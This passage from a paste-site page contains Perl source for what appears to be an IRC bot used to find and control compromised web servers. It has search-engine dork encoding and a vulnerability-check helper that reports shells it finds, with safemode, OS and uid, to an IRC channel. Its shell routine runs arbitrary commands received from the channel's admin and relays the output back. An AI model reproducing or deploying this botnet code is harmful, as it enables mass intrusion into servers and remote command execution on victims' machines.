- #&msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln10."3,1 (safemode=$safe) (OS=$os) (uid=$uid"); }
- }
- }
- }
- }
- sub isFound() {
- my $status = 0;
- my $link = $_[0];
- my $reqexp = $_[1];
- my $res = &get_content($link);
- if ($res =~ /$reqexp/) {
- $status = 1 }
- return $status;
- }
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(7);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content; }
- sub clean() {
- my @cln = ();
- my %visit = ();
- foreach my $element (@_) { $element =~ s/\/+/\//g;
- next if $visit{$element}++; push @cln, $element; }
- return @cln;
- }
- sub key() {
- my $dork = $_[0];
- $dork =~ s/ /\+/g;
- $dork =~ s/:/\%3A/g;
- $dork =~ s/\//\%2F/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/&/\%26/g;
- $dork =~ s/\"/\%22/g;
- $dork =~ s/,/\%2C/g;
- $dork =~ s/\\/\%5C/g;
- $dork =~ s/@/\%40/g;
- $dork =~ s/\[/\%5B/g;
- $dork =~ s/\]/\%5D/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/\=/\%3D/g;
- $dork =~ s/\|/\%7C/g;
- return $dork; }
- sub links() {
- my @list;
- my $link = $_[0];
- my $host = $_[0];
- my $hdir = $_[0]; $hdir =~ s/(.*)\/[^\/]*$/$1/;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host .= "/"; $link .= "/";
- $hdir .= "/";
- $host =~ s/\/\//\//g;
- $hdir =~ s/\/\//\//g;
- $link =~ s/\/\//\//g;
- push(@list,$link,$host,$hdir); return @list; }
- sub search_engine_query($) {
- my $url = $_[0];
- $url =~ s/http:\/\///;
- my $host = $url;
- my $query = $url;
- my $page = ""; $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~ s/$host//; if ($query eq "") {
- $query = "/"; } eval {
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
- print $sock "GET $query HTTP/1.0\r\nHost:
- $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n"; my @pages = <$sock>; $page = "@pages"; close($sock); };
- return $page; }
- sub shell() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; }
- elsif ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; }
- else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; } }
- exit; }}
- }
- sub isAdmin() {
- my $status = 0;
- my $nick = $_[0];
- if ($nick eq $admin) {
- $status = 1; } return $status; } sub msg() { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); }
- sub nick() {
- return unless $#_ == 0; sendraw("NICK $_[0]"); }
- sub notice() {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]"); }
Add Comment
Please, Sign In to add comment